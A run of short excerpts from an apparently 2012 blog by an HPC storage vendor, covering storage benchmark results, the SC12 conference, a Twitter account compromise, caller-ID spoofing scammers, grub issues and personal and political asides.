+0000 https://blog.scalability.org/2012/12/microsoft-oses-will-likely-be-losing-openmpi-support/ I’d been holding off on posting anything on this for a while to see if any group steps up to support it. It looks like this is simply not happening. One shouldn’t infer anything about the Microsoft platforms w.r.t. HPC as a result of this one case. However, in light of the absorption of the HPC group into the larger server group, and other reorganizations, its hard to draw a positive conclusion about the longevity of Microsoft’s HPC efforts. https://blog.scalability.org/2012/12/the-downside-to-social-media/ Mon, 17 Dec 2012 06:26:55 +0000 https://blog.scalability.org/2012/12/the-downside-to-social-media/ … there are SOOO MANY things to update, pay attention to … Yeah, its heaven for those of us blessed with ADHD (squirrel!), but it takes away time from important things. And of course, there is at least a little irony in blogging about this and having it auto-tweeted. The world doesn’t need more social media. https://blog.scalability.org/2012/12/wondering-aloud-2/ Mon, 17 Dec 2012 06:06:30 +0000 https://blog.scalability.org/2012/12/wondering-aloud-2/ Call this a hypothesis based upon observation. Its harder for smart people to admit they are incorrect about something, than it might be for the population as a whole. My rationale works like this … the smarter you are, the more defensive you are of that ‘status’ if you will, and so you tend to act in a way to reinforce prior decisions, regardless of their actual (quantifiable) correctness. That is, you are more afraid of the consequences of admitting to being wrong, as compared to actually being wrong. https://blog.scalability.org/2012/12/its-getting-near-time-for-the-obligatory-led-zeppelin-reference/ Sun, 16 Dec 2012 17:09:48 +0000 https://blog.scalability.org/2012/12/its-getting-near-time-for-the-obligatory-led-zeppelin-reference/ Last year, it was a What is and what should never be. I look some liberal artistic license with the title, and altered its meaning. But the song itself is about thinking about a brighter future. My family was just getting started down the path of a cancer diagnosis and treatment. My wife was diagnosed, and without explaining precisely why, the doctors urged us to move rapidly. I think we understand now, why they did. https://blog.scalability.org/2012/12/that-was-the-easiest-update-evuh/ Sun, 16 Dec 2012 15:52:27 +0000 https://blog.scalability.org/2012/12/that-was-the-easiest-update-evuh/ Wordpress before 3.5 to Wordpress 3.5. 1 button click. 1. Count em. 1. Uno. No dos. I am going to take that lesson to heart. One button. https://blog.scalability.org/2012/12/updated-deltav4-quick-benchies/ Tue, 11 Dec 2012 05:48:18 +0000 https://blog.scalability.org/2012/12/updated-deltav4-quick-benchies/ Streaming reads and writes. Far beyond memory/cache/… all spinning disk. Remember, this is our “slow” storage. [root@dv4-1 ~]# df -h /data Filesystem Size Used Avail Use% Mounted on /dev/md2 55T 65G 55T 1% /data Run status group 0 (all jobs): WRITE: io=65505MB, aggrb=1467.7MB/s, minb=1467.7MB/s, maxb=1467.7MB/s, mint=44633msec, maxt=44633msec Run status group 0 (all jobs): READ: io=65412MB, aggrb=1814.5MB/s, minb=1814.5MB/s, maxb=1814.5MB/s, mint=36050msec, maxt=36050msec https://blog.scalability.org/2012/12/i-am-guessing-they-dont-get-it/ Mon, 10 Dec 2012 19:26:14 +0000 https://blog.scalability.org/2012/12/i-am-guessing-they-dont-get-it/ I wrote this some time ago. This is even more true this year than last. So when people call me up and try to tell me of the glamour of working for another company, they need to take this into consideration. But they don’t. So they call all the extensions on our phone. And leave messages for everyone. Um … yeah. We are growing, much faster than I had anticipated. We are actually on a real live hockey stick revenue curve. https://blog.scalability.org/2012/12/our-cloudy-future/ Sun, 02 Dec 2012 13:46:30 +0000 https://blog.scalability.org/2012/12/our-cloudy-future/ So I just dealt with a hack on the @sijoe twitter account. And I went through a process of re-locking everything down. What occurs to me, is that this is our cloudy future. Where resources could be effectively stolen from us, say CPU cycles and storage, not merely hacking useless social media sites, by fairly determined hacking groups. Think about this for a moment. You have a large allocation on EC2 for some reason, and your account gets hacked. https://blog.scalability.org/2012/12/well-that-was-fun/ Sun, 02 Dec 2012 12:30:33 +0000 https://blog.scalability.org/2012/12/well-that-was-fun/ Somehow/somewhere, the @sijoe twitter account was compromised, and a bad tweet generated. I deleted the tweet. Then revoked all access to twitter from all accounts. Then made sure I’ve got two factor authentication up everywhere possible. Then changed all passwords on all accounts. Are we having fun yet? Somehow, I have a sense that this is our computational future. I’ll elaborate on this shortly. Let me finish hooking up the newly re-secured bits to each other (well, a more limited version of this …) And no, I wasn’t able to identify the culprit vector. https://blog.scalability.org/2012/12/what-weve-been-working-on-for-the-past-several-months/ Sun, 02 Dec 2012 00:36:19 +0000 https://blog.scalability.org/2012/12/what-weve-been-working-on-for-the-past-several-months/ … I still can’t talk about it publicly, until everything is live, and I get the OK. But it is awesome, and its a pleasure to work with the large extended team we are working with. And yes, this is killing me. I love to talk about cool stuff. https://blog.scalability.org/2012/11/i-cant-believe-its-been-one-year-since-i-wrote-this/ Sat, 01 Dec 2012 01:28:14 +0000 https://blog.scalability.org/2012/11/i-cant-believe-its-been-one-year-since-i-wrote-this/ This post. That was written in the late evening of the 29th of November 2011. Today is the 1 year anniversary of that visit. Chris Samuel (@chris_bloke) and his wife went through a similar event somewhat before we did. And he pointed out this XKCD to everyone on his twitter feed. We got our surgical slot quickly, I believe we were given priority. Not sure why, but the post-operative analysis indicated that the cancer had broken out of the duct, and was growing rapidly. https://blog.scalability.org/2012/11/initial-results-for-60-bay-unit-running-a-software-raid/ Tue, 27 Nov 2012 04:30:33 +0000 https://blog.scalability.org/2012/11/initial-results-for-60-bay-unit-running-a-software-raid/ Our new JackRabbit tightly coupled storage and computing unit is on the test track, and about to go out the door to a customer. Need a few minutes with it, after quick tuning to generate some performance data. This is a single 4U server unit with 1/4 PB within it. Streaming 1TB from disk. This is using our tuned software RAID6. Our hardware accelerated RAID results will be generated later in the next batch of tests with new units we are building. https://blog.scalability.org/2012/11/learning-limits-of-linux-distribution-infrastructure/ Mon, 26 Nov 2012 13:48:11 +0000 https://blog.scalability.org/2012/11/learning-limits-of-linux-distribution-infrastructure/ Its only when you stress a distribution infrastructure that you truly see its limits. And as often as not, the fail winds up being widespread. Our new 60 bay JackRabbit unit with CentOS 6.3 on it … and this is not a bash at CentOS, they do a great job rebuilding the Red Hat distribution without the copyrighted bits … has a number of software RAID elements on it. 9 in the current test. https://blog.scalability.org/2012/11/icl-ipmi-console-logger-update/ Mon, 19 Nov 2012 01:49:36 +0000 https://blog.scalability.org/2012/11/icl-ipmi-console-logger-update/ Ok, this took me forever to get this done. But, I’ve had inquiries from a large number of people/companies, so here it goes: Have a looksy at the repo here This is the older code, with a single host at a time (plumbing is for many many hosts at once), with no triggers. That code is about a week away (I don’t like committing broken code). For what its worth, this is going to be used at scale in one of our projects. https://blog.scalability.org/2012/11/controversy-in-the-kernel/ Sun, 18 Nov 2012 17:26:26 +0000 https://blog.scalability.org/2012/11/controversy-in-the-kernel/ Referring to this article, it appears that there is some issue with an important subsystem in the Linux kernel. The SCSI target code, specifically the new implementation pulled in by James Bottomley is the LIO framework based upon work of Nicolas Bellinger and Rising Tide Systems. This was chosen over the SCST implementation, which continues to soldier on. We did have a dog in that race, and would have preferred to have seen SCST included due to our familiarity with it. https://blog.scalability.org/2012/11/post-sc12-some-thoughts-and-updates/ Sun, 18 Nov 2012 05:52:33 +0000 https://blog.scalability.org/2012/11/post-sc12-some-thoughts-and-updates/ That was our best SCxy show. Ever. Inclusive of all 17-ish years I’ve attended (getting to be something of a geezer I guess). The 60 bay JackRabbit system got lots of attention. That we are putting the Calxeda backplane and energy cards in, come January time frame, brought many people in to talk about this. Big data was a one of the huge topics. I’ve been saying Big Data is not just Hadoop. https://blog.scalability.org/2012/11/sc12-panel-on-big-data/ Sat, 17 Nov 2012 16:36:33 +0000 https://blog.scalability.org/2012/11/sc12-panel-on-big-data/ Listen to their definition between 3 and 6 minutes in. The storage performance and IO performance, and networking is extraordinarily critical to these problems. Which has been the set of problems we’ve been focusing on for a long time. Also worth noting that Addison Snell nails it on HPC and big data relationships. They are debating definitions and other aspects, but at the end of the day, the idea is that HPC has been a set of techniques, designs, and platforms upon which we’ve been banging on big data problems for decades. https://blog.scalability.org/2012/11/and-its-over-till-sc13/ Fri, 16 Nov 2012 06:58:01 +0000 https://blog.scalability.org/2012/11/and-its-over-till-sc13/ Upfront: This was the best SC conference we have ever participated in. From an interest level, traffic level, and various meetings with partners, customers, and others. And to the folks who might be reading this whom we missed, or had to cut short conversations due to timing, please feel free to call/email us. We are reachable via the usual methods. Everyone marveled at the 60 bay chassis. Oddly enough, I never had time to set up the benchmarks on it. https://blog.scalability.org/2012/11/5504/ Wed, 14 Nov 2012 06:33:56 +0000 https://blog.scalability.org/2012/11/5504/ Ok, beobash rocked. As usual, Lara at Xandmarketing, Doug Eadline did an absolutely awesome job. For those I bumped into, hello again. I apologize if I didn’t spend more time with you … especially my readers … I was operating on fumes at that point. Please don’t hesitate to introduce yourself during the day at the booth (4154) at SC12. Got up early, got into the booth, did an interview video with Rich B at InsideHPC. https://blog.scalability.org/2012/11/on-the-test-track-new-jackrabbit-open-the-throttle-wide/ Wed, 07 Nov 2012 06:53:05 +0000 https://blog.scalability.org/2012/11/on-the-test-track-new-jackrabbit-open-the-throttle-wide/ I know, I know, I really should wait until the drive build is done. I know I should do that. [root@Mj?lnir ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/md0 89G 6.8G 77G 9% / tmpfs 127G 0 127G 0% /dev/shm /dev/sdc 48T 393G 47T 1% /data/3 /dev/sdb 48T 395G 47T 1% /data/2 /dev/sdd 33T 367G 33T 2% /data/4 /dev/sda 48T 374G 47T 1% /data/1 I called it Mj? https://blog.scalability.org/2012/11/the-joys-of-running-ones-own-mail-server/ Mon, 05 Nov 2012 23:41:24 +0000 https://blog.scalability.org/2012/11/the-joys-of-running-ones-own-mail-server/ Minor issue. We changed IP addresses at work recently. A larger block of public facing IPs for more functionality. And in doing so, we updated almost everything correctly. Yes, almost everything. Almost. Everything. The one, minor … trivial … thing we left unchanged … broke our support site sending reply emails correctly. They were rejected about 50% of the time, as they came in on the wrong port/ip. So for the last week we’ve been sending extra emails. https://blog.scalability.org/2012/11/heavily-armed-rabbits/ Mon, 05 Nov 2012 19:40:07 +0000 https://blog.scalability.org/2012/11/heavily-armed-rabbits/ Saw this blog post with a cartoon in it. [ ](http://www.rscottillustration.com/image/lucky-rabbits-foot) Those are armed rabbits. Sorta like JackRabbits. And that might not be the only definition of “ARMed” out there. Heavily ARMed JackRabbits. Not that I’m hinting at anything. Maybe people should just visit our booth 4154 at #SC12 … https://blog.scalability.org/2012/11/on-the-dangers-of-economic-prognostication-and-presidential-elections/ Fri, 02 Nov 2012 18:22:45 +0000 https://blog.scalability.org/2012/11/on-the-dangers-of-economic-prognostication-and-presidential-elections/ is drinking your own koolaid, consuming your own product, believing the wishful thinking that underlies your most serious predictions. Like this. Just like in catastrophic AGW, there’s one single chart that belies all the claims as to how “well” the “stimulus” package did. Its a damning chart. Here it is. [ ](http://www.aei-ideas.org/2012/11/is-this-as-good-as-it-gets-novembers-dismal-new-normal-jobs-report/) And worse, if you look at how the recovery compares to others … its not going very well at all. https://blog.scalability.org/2012/11/where-i-come-from/ Fri, 02 Nov 2012 03:35:58 +0000 https://blog.scalability.org/2012/11/where-i-come-from/ … this is called being a mensch. Well played Michael Ferns, well played (in an respectful way). And welcome to Michigan and the Wolverines. https://blog.scalability.org/2012/10/fads-waves-of-the-future-etc/ Thu, 01 Nov 2012 00:51:47 +0000 https://blog.scalability.org/2012/10/fads-waves-of-the-future-etc/ Fads are standing waves of marketing/sales/technology that have limited lifetime, yet generate buzz. Fads die out, and they consume resources during their existence. Fads rarely ever do more than help cull the herd … assisting evolutionary processes that weed crappy technology dressed up nicely and packaged for sale. Best example of these I can come up with were the cycle stealing codes, that turned your machine into a “supercomputer” by aggregating cycles across many hundreds and thousands of machines. https://blog.scalability.org/2012/10/not-good-2/ Wed, 31 Oct 2012 01:11:10 +0000 https://blog.scalability.org/2012/10/not-good-2/ Rich B at InsideHPC.com posts about the national labs exit from floorspace at SC12. The claim is due to budget cuts, but the GSA scandal and its fallout likely have a higher precedence to the upper echelon of decision makers. Which if you think about it, only a minute amount, you realize is the very definition of the cliche to cut ones nose off to spite their face. To any decision makers out there, this is the wrong thing to do. https://blog.scalability.org/2012/10/ultradense-and-fast-jackrabbit-coming-next-week/ Tue, 30 Oct 2012 03:22:47 +0000 https://blog.scalability.org/2012/10/ultradense-and-fast-jackrabbit-coming-next-week/ I don’t know that we’ll be able to get enough 4TB drives for all the units. We’ll talk about it some more at SC12, and should have a few units with 4TB, 3TB, and possibly 2TB drives in them. For those whom aren’t aware, our JackRabbit unit is already the fastest spinning disk single server that we are aware of in market. Its dense, up to 144TB in a 5U container. https://blog.scalability.org/2012/10/on-the-money/ Sun, 28 Oct 2012 01:46:46 +0000 https://blog.scalability.org/2012/10/on-the-money/ Charles Stross (@cstross) is one of my favorite writers. We have wildly different views on things, but I like his writing, and his very clear thinking and story telling. Which is why I have to say that this blog post puts a nice context box around some of the things we hear about “saving the planet.” Something akin to this has been running around my head for a while, but not nearly as elegantly put. https://blog.scalability.org/2012/10/oh-joy-a-crash-on-our-amazon-ec2-hosted-web-server/ Mon, 22 Oct 2012 18:58:14 +0000 https://blog.scalability.org/2012/10/oh-joy-a-crash-on-our-amazon-ec2-hosted-web-server/ [update 2] Yuppers, Amazon US East N. Virginia is experiencing issues. C.f. here. Doug thought I did this with our IP update (larger block of static). So did I for a moment until I logged in. Partial failure on my part for not having the backup live/ready. Wlll remedy over the next day or two. [update] I think we can call this one a #fail. Imagine if some small business with no technical acumen, sold on the “push this button to run your website” saw that error message. https://blog.scalability.org/2012/10/interesting-post-on-macroeconomic-trends-risk-investment-and-farms/ Sun, 21 Oct 2012 18:54:19 +0000 https://blog.scalability.org/2012/10/interesting-post-on-macroeconomic-trends-risk-investment-and-farms/ Saw this linked on from zerohedge. Understand that, to a degree, this is a sales pitch for this persons' new fund. But the reasoning behind doing what they are doing is fascinating to me. Along with a description of what happened to the global financial markets. Definitely worth the view just for the history and an analysis of macroeconomic trends. https://blog.scalability.org/2012/10/when-youve-lost-dilbert/ Sun, 21 Oct 2012 00:05:06 +0000 https://blog.scalability.org/2012/10/when-youve-lost-dilbert/ … the game may be over. Ok, this is a very well written, and extremely cogent argument. Scott Adams, creator of Dilbert, indicated why he’s not supporting Obama, and is endorsing Romney in the US Presidential election. His reasons boil down to a firing offense Mr. Obama committed (in Adams' opinion). More specifically, he indicates that he doesn’t like lots of Romney’s positions, but Romney hasn’t committed this particular offense. And specifically to the point of competence, Adams gets that Romney is a turn-around guy. https://blog.scalability.org/2012/10/amd-has-an-sgi-moment/ Thu, 18 Oct 2012 20:35:53 +0000 https://blog.scalability.org/2012/10/amd-has-an-sgi-moment/ $131M quarterly loss. They have a looming 15% (think one out of every seven) RIF. I remember those from SGI days. I remember being on an ACS show floor, giving demos, and learning that some of my colleagues on the show floor with me, were part of the RIF. SGI itself isn’t doing well, but thats a story for another time. Still have lots of friends at AMD. Folks I’ve worked with and respect highly. https://blog.scalability.org/2012/10/initial-plans-for-sc12/ Thu, 18 Oct 2012 18:06:25 +0000 https://blog.scalability.org/2012/10/initial-plans-for-sc12/ Assuming all the hardware is ready … not sure, but hopefully it will be. We’ll have a siCluster at the booth. Powered by partner’s 10/40GbE fabric, and running a few different cluster file systems. FhGFS is a no brainer, it will be on there. Ceph should be on there. GlusterFS should be on there. Thinking about Lustre, may do this via our presentation layer, so we can avoid dealing with the pain of hyperspecialized kernels, and specific hard distro revision requirements. https://blog.scalability.org/2012/10/beta-version-of-fhgfs-now-with-mirror-capability/ Thu, 18 Oct 2012 17:50:33 +0000 https://blog.scalability.org/2012/10/beta-version-of-fhgfs-now-with-mirror-capability/ One of the best parallel file systems just got better. FhGFS now has content mirroring (client and server side!) as well as other nice improvements! We’ve used the preceding release on our siFlash unit. I’ve not shared the results publicly to date, but suffice it to say that the performance was absolutely stellar (it helps that siFlash is the fastest 4U SSD/Flash tightly coupled computing and storage array in market). We are planning out our SC12 booth now. https://blog.scalability.org/2012/10/testing-again/ Thu, 18 Oct 2012 17:18:13 +0000 https://blog.scalability.org/2012/10/testing-again/ hopefully it works this time … https://blog.scalability.org/2012/10/interesting-and-depressing-article-on-michigans-future/ Thu, 18 Oct 2012 05:12:23 +0000 https://blog.scalability.org/2012/10/interesting-and-depressing-article-on-michigans-future/ A few prefaces … First, I disagree with the premise throughout this article that our governor is timid. He is, IMO, and in many people’s opinion, doing a great job. Governor Romney is very similar to Governor Snyder in many ways. Timidity really isn’t apparent. I guess that people see someone making a cost-benefit analysis for engaging in a particular debate, or pushing for a particular outcome, and deciding to forgo a particular fight, as being timid. https://blog.scalability.org/2012/10/growth/ Wed, 17 Oct 2012 18:48:03 +0000 https://blog.scalability.org/2012/10/growth/ I’ve hinted a little at what’s going on, but I haven’t come fully clean yet. Will do soon. I promise, though likely it will be public after SC12. Suffice it to say that the company is on a track to grow significantly in the near term. No, this is neither a capital raise, nor an acquisition. We have a practical problem. We’ll be setting up an office in NJ/NY area to serve our customer base there, and we will need extremely good technical and support people, along with some of the other folks we plan to put there. https://blog.scalability.org/2012/10/update-on-the-scammers-spoofing-our-number/ Wed, 10 Oct 2012 20:19:00 +0000 https://blog.scalability.org/2012/10/update-on-the-scammers-spoofing-our-number/ We’ve started following an interesting suggestion made to us. It involves some cost, but its got the nice side effect of providing us (eventually) with the call data records from the phone company. Assume we will be getting the information we need, soon, to deal with this. We have a potent legal cocktail waiting for this information. Of course, the scammers decided to step things up a bit. One claimed to be with the FBI. https://blog.scalability.org/2012/10/updated-configs-for-storage/ Tue, 02 Oct 2012 19:03:53 +0000 https://blog.scalability.org/2012/10/updated-configs-for-storage/ Had neglected to mention this, but all of the day job’s units support 4TB drives. This means you can get 4U goodness up to 96TB, 5U goodness up to 192TB, and very soon (and we’ll start taking early orders for it) 4U with up to (about) 1/4 PB directly coupled to a very fast computer, with incredible amounts of IO and network bandwidth. Full 42U rack with about 2.5PB raw, and about 40GB/s sustained streaming write, and 60GB/s sustained streaming read performance in aggregate. https://blog.scalability.org/2012/09/scalable-informatics-at-sc12-in-salt-lake-city/ Fri, 28 Sep 2012 19:57:42 +0000 https://blog.scalability.org/2012/09/scalable-informatics-at-sc12-in-salt-lake-city/ Bigger booth this year, number 4154 (10x20) … last year was WAY too cramped. Planning stuff … keeping it simple if possible. Maybe a minirack with a siCluster … thinking about this hard. Definitely a dense storage system, an insanely fast storage system. Probably some streaming stuff, and pounding on IO similar to what we did at HPC on Wall Street. Will probably have a few partners with us (and their bits) in the booth. https://blog.scalability.org/2012/09/memtest-delenda-est/ Wed, 26 Sep 2012 20:45:06 +0000 https://blog.scalability.org/2012/09/memtest-delenda-est/ Ok … maybe not so much destroyed. More like “ignored as a reasonable test of anything but DIMM visibility, and very basic functionality”. Memtest has several variants running around, all of which purport to hammer on, and detect, bad RAM. The only problem is, it doesn’t really work well, apart from trivial cases. That is, if you have an iffy ram, you’d need days/weeks/months of testing with this code rather than putting it in a box and running a hard pounding code on it. https://blog.scalability.org/2012/09/achieved-warp-speed-this-year/ Mon, 24 Sep 2012 16:23:14 +0000 https://blog.scalability.org/2012/09/achieved-warp-speed-this-year/ :D More soon. I promise. https://blog.scalability.org/2012/09/response-to-the-11-gbs-unit-was-incredible/ Mon, 24 Sep 2012 01:02:42 +0000 https://blog.scalability.org/2012/09/response-to-the-11-gbs-unit-was-incredible/ We showed two large speedometers, one with Bandwidth, one with IOPs. These measured their data right off the hardware (via the device driver and block subsystem mechanisms). First, we ran a fio test with 96 threads reading 1.1TB of data in total. This took about 100 seconds or so. Second, we ran a fio test with 384 threads randomly reading 8k chunks of data out of that 1.1TB. Left them in a loop, with a big speedometer pair on the screen. https://blog.scalability.org/2012/09/tiburon-again-saves-the-day/ Mon, 24 Sep 2012 00:40:53 +0000 https://blog.scalability.org/2012/09/tiburon-again-saves-the-day/ Useful code (e.g. code == program) has a tendency to save you lots of pain when other solutions fail you. Powerful code lets you do things that lesser codes mess up. Intelligently designed and written codes allow you to debug them easily and quickly, as well as their operational impacts. None of these qualities describes grub. Grub is … well … grub. If you have to deal with it on a daily basis, you understand what I mean by this. https://blog.scalability.org/2012/09/turning-siflash-past-10-gbs-that-is/ Fri, 14 Sep 2012 06:17:19 +0000 https://blog.scalability.org/2012/09/turning-siflash-past-10-gbs-that-is/ Yeah, that title is a Spinal Tap homage. We are bringing a new siFlash unit to the HPC on Wall Street conference. This uses our new chassis, an updated kernel, and lots of tuning. Still have much more work to do … but its probably good enough to ship now. I ran a few quick speed drills on it. 4.2 GB/s streaming write , and 10.7 GB/s streaming read with 96 simultaneous processes. https://blog.scalability.org/2012/09/ipmi-console-logger-is-born/ Thu, 13 Sep 2012 02:06:50 +0000 https://blog.scalability.org/2012/09/ipmi-console-logger-is-born/ Here’s the problem I am trying to solve, call it a many year itch I’ve been wanting to scratch. We build very high performance storage clusters, extreme performance flash and ssd arrays, and a number of other things. At customer sites, while in use, a unit could crash. When it does, we really need a full console log to see the full crash log. Unfortunately, the “write to the screen” method gets very … very old when you are trying to transcribe something … thats happened to scroll off the screen. https://blog.scalability.org/2012/09/not-even-wrong/ Wed, 12 Sep 2012 03:33:45 +0000 https://blog.scalability.org/2012/09/not-even-wrong/ There’s a story about Wolfgang Pauli about how another physicist gave him a dubious paper to look over to get his opinion. Pauli, ever the critic, remarked about the paper something akin to this: This is a way of saying that there are failures so deep, so fundamental, that one cannot get past them to deal with the basic issues of the underlying theory. If the fundamentals are off, there is no possible way that the theory could remain intact. https://blog.scalability.org/2012/09/slight-change-to-site-comments/ Sat, 08 Sep 2012 02:42:19 +0000 https://blog.scalability.org/2012/09/slight-change-to-site-comments/ We’ve been getting spammed. So I am now requiring comment submitters to have a previously allowed comment to be able to comment without issue. I hate doing this, but I don’t want this to become yet another waste of bits, lousy with comment spam. If this doesn’t work, I’ll change it to require user login to comment. [update] Since making the change, no spam has made it through, though they have tried. https://blog.scalability.org/2012/09/an-avulsion-fracture-of-4th-finger-on-left/ Fri, 07 Sep 2012 20:50:54 +0000 https://blog.scalability.org/2012/09/an-avulsion-fracture-of-4th-finger-on-left/ This is what I get for sparring with 13 year old black belts … sigh … starting to feel old :( Splint, ibuprofen, and no sparring for a while (could do 1 hand and 2 feet, but that requires a far larger ego than I have, not to mention some brass ones … which I can’t say I have relative to my sparring abilities) . Probably can’t handle my bo either. https://blog.scalability.org/2012/09/ot-a-plea-for-help/ Thu, 06 Sep 2012 20:59:51 +0000 https://blog.scalability.org/2012/09/ot-a-plea-for-help/ We have a problem. Some company has spoofed our telephone number for their caller ID, and have been calling up people harassing and threatening them. We get calls from many very pissed off people, and I have to explain the situation to them. Usually its one per week. We took 5-6 calls about this, just today. Ok. Gotta stop this. The folks doing this are dragging our name through the mud every time they do this, as they are misrepresenting themselves as us by using our phone number. https://blog.scalability.org/2012/09/apparently-there-are-people-this-profoundly-well-see-for-your-self/ Thu, 06 Sep 2012 12:55:22 +0000 https://blog.scalability.org/2012/09/apparently-there-are-people-this-profoundly-well-see-for-your-self/ At first I was ready to discount this as “entrapment” or something like gonzo journalism. But … its … not … A plain and simple question, nothing complex. Should we ban corporate profits? What is astounding, or horrifying is the location where it is being asked, and the seemingly normal people happily espousing what is basically a ridiculous concept. Here is my take on this. First off, Peter Schiff is something of a notorious guy. https://blog.scalability.org/2012/09/going-over-some-old-records/ Thu, 06 Sep 2012 04:58:03 +0000 https://blog.scalability.org/2012/09/going-over-some-old-records/ … and I ran across a situation where we helped out a customer, and we were screwed over after they decided not to pay a part of their bill. They don’t deny they owed it. They just didn’t want to pay it. And the hard part, being that they were out of country, in a different jurisdiction, there is little we could do. This is part of bleeding when you build a business. https://blog.scalability.org/2012/09/excellent-read-on-statistics-and-how-people-misuse-it/ Mon, 03 Sep 2012 01:38:50 +0000 https://blog.scalability.org/2012/09/excellent-read-on-statistics-and-how-people-misuse-it/ Link is here. I cannot tell you how many times I’ve had a conversation with a researcher, when we talk about statistics, and they quote me some high correlation coefficient as being evidence of causality. Any physical scientist, chemist, engineer, … knows that you have to treat correlation coefficients very carefully, and you cannot substitute these for a real causal relationship with a backing theory that provides a testable model. That is, the causal relationship is fundamentally an aspect of the theory, with the latter able to guide you on making predictions. https://blog.scalability.org/2012/08/i-had-a-sense-this-would-work-out-well/ Fri, 31 Aug 2012 06:16:50 +0000 https://blog.scalability.org/2012/08/i-had-a-sense-this-would-work-out-well/ As I noted in an earlier post Joyent had discontinued an aging service, but one which many people had bought into, with the promise of “forever” service. I pointed out that in this sense, forever couldn’t mean, in a literal sense, forever … But I had suggested as well that they would likely try to find a way to make a transition better for people. And they did. This is perfect illustration of how to handle these transitions. https://blog.scalability.org/2012/08/brittle-poorly-designed-pipelines/ Thu, 30 Aug 2012 21:35:27 +0000 https://blog.scalability.org/2012/08/brittle-poorly-designed-pipelines/ One of the more powerful aspects of cluster and cloud computing is the effective requirement for building in fault tolerance of some sort, to a computational pipeline. You have to assume, in a wide computation scenario, that some aspect of your system may become unavailable. Which means you need a sane way to save state at critical points in your workflow. You need sane distribution and management of the workflow. You need to be able to route around errors. https://blog.scalability.org/2012/08/two-new-projects/ Wed, 29 Aug 2012 23:44:30 +0000 https://blog.scalability.org/2012/08/two-new-projects/ Hyperspace and 26. One does something wholly unholy, and the other takes our significant advantage in a particular area and makes it … well … even more of an advantage. Hyperspace may be with us at HPC on Wall Street. Working on it with our partner in … er … alternative dimensions. Yeah. Thats the ticket! Assuming everything works out, you will hear about 26 before SC12, and probably see a few there. https://blog.scalability.org/2012/08/smartos-now-booting-from-tiburon/ Mon, 27 Aug 2012 22:06:00 +0000 https://blog.scalability.org/2012/08/smartos-now-booting-from-tiburon/ Ok … took a little bit of hacking on Tiburon to add a capability I had long wanted to add in. And its not completely doing things the SmartOS way … but it works for the moment. [ ](/images/SmartOS-booted-from-Tiburon.png) Have some additional testing to do, drivers to test, yadda yadda yadda. But the message should be clear. We can boot SmartOS from Tiburon (Scalable Informatics siCluster Storage and Computing cluster infrastructure). https://blog.scalability.org/2012/08/a-code-to-measure-iopsbandwidth/ Fri, 24 Aug 2012 04:44:47 +0000 https://blog.scalability.org/2012/08/a-code-to-measure-iopsbandwidth/ Many testing codes for storage systems report various values, by shoving IO down the pipe, and measuring amount shoved, and interval between the first IO call and “end” of last IO call. This is all well and good for some cases, but caching and many other effects get in the way of accurate measurement. Systems eventually settle down to an approximate state with small perturbations around this state. The problem is that most tools don’t quite report this. https://blog.scalability.org/2012/08/i-see-benchmarketing-back-in-full-swing/ Fri, 24 Aug 2012 02:17:26 +0000 https://blog.scalability.org/2012/08/i-see-benchmarketing-back-in-full-swing/ I’ve read quite a few storage press releases talking about how “product X is capable of performance Y and IOPs Z.” I also notice that they didn’t say “we measured this, this way, and this is what we found.” I wonder why. I look at it this way, if we reported numbers the way lots of these folks report numbers, our JackRabbit JR5 machine would have a bandwidth of 6.2GB/s read and 5GB/s write. https://blog.scalability.org/2012/08/rereading-posts-from-6-years-ago/ Wed, 22 Aug 2012 05:10:01 +0000 https://blog.scalability.org/2012/08/rereading-posts-from-6-years-ago/ NFS sucked then as well. We’ve got a customer whom occasionally pushes their hardware a wee bit too hard. And stuff comes crashing down. Basically it looks like a kernel bug, one I’ve not been able to ID for a number of reasons, and I can’t find a mechanism to reliably tickle it. This is the definition of a Heisenbug. Basically the problem is this. They use NFS, extensively. NFS is great for low level IO rates. https://blog.scalability.org/2012/08/started-playing-with-smartos-for-the-day-job/ Wed, 22 Aug 2012 03:47:22 +0000 https://blog.scalability.org/2012/08/started-playing-with-smartos-for-the-day-job/ This is a very cool concept, something that meshes perfectly with our Tiburon based siCluster philosophy. That is, compute nodes should boot diskless, there should be very little state on each node, and stuff that you need to do should be made absolutely as simple as possible. SmartOS is a project of Joyent. Joyent, for those not familiar with them, are a cloud company, building a nice public cloud for end users to build on. https://blog.scalability.org/2012/08/dear-dea/ Mon, 20 Aug 2012 19:58:28 +0000 https://blog.scalability.org/2012/08/dear-dea/ According to this you don’t have enough high performance storage for your analyses. First off, no, its not expensive. You are just using the wrong vendors. Second off … please … PLEASE … call us. We’d be happy to hook you up with Petabytes for the price you are likely paying for Terabytes. Seriously. Our units are inexpensive enough that you could buy them, replicate the data across them, and then store them. https://blog.scalability.org/2012/08/one-of-the-curious-features-of-our-history/ Sun, 19 Aug 2012 15:39:08 +0000 https://blog.scalability.org/2012/08/one-of-the-curious-features-of-our-history/ This is about learning, not from mistakes, but from a … well … empirical approach to “partnerships”. When I started up the company 10 years ago, we weren’t on anyones radar. Self funded, running out of my basement. Yeah, real big threat there. I noticed something though. During our time operating, first as an LLC, then as an Inc., we attracted a range of … er … partners and others. Many of whom would come to try to, for lack of a more accurate way to phrase this, pry ideas, plans, and IP/designs out of us. https://blog.scalability.org/2012/08/grub-drive-enumeration/ Fri, 17 Aug 2012 15:34:33 +0000 https://blog.scalability.org/2012/08/grub-drive-enumeration/ So there you are, helping a customer out with a problem. They’ve just added in a replacement OS disk using your process. At the end of the process is a bit of … well … an insurance procedure. Make sure grub is correctly on each drive in the RAID1. The grub.conf file has root (hd0,0) kernel .... root=/dev/md0 ... initrd ... Makes sense, right? Cause hd0 enumerates to the first bios drive used for booting in the boot list. https://blog.scalability.org/2012/08/what-does-forever-really-mean-for-a-company-and-its-implications-for-clouds-and-business-models/ Thu, 16 Aug 2012 19:25:12 +0000 https://blog.scalability.org/2012/08/what-does-forever-really-mean-for-a-company-and-its-implications-for-clouds-and-business-models/ Note: in advance, this is not a slam on the company I will mention. I actually agree with their migration concept, even if I disagree with the details. In the early days of their life, Joyent made a lifetime offer for goods and services. These were pretty reasonable offerings, and the hook of How long is it good for? As long as we exist. As in … forever. But what does “forever” actually mean? https://blog.scalability.org/2012/08/more-ma-ibm-snarfs-up-texas-memory-systems/ Thu, 16 Aug 2012 14:02:17 +0000 https://blog.scalability.org/2012/08/more-ma-ibm-snarfs-up-texas-memory-systems/ We knew that TMS was looking for a buyer. And IBM is a very intelligently run company, they see how the technologies are changing. IBM has grabbed TMS. This alters a 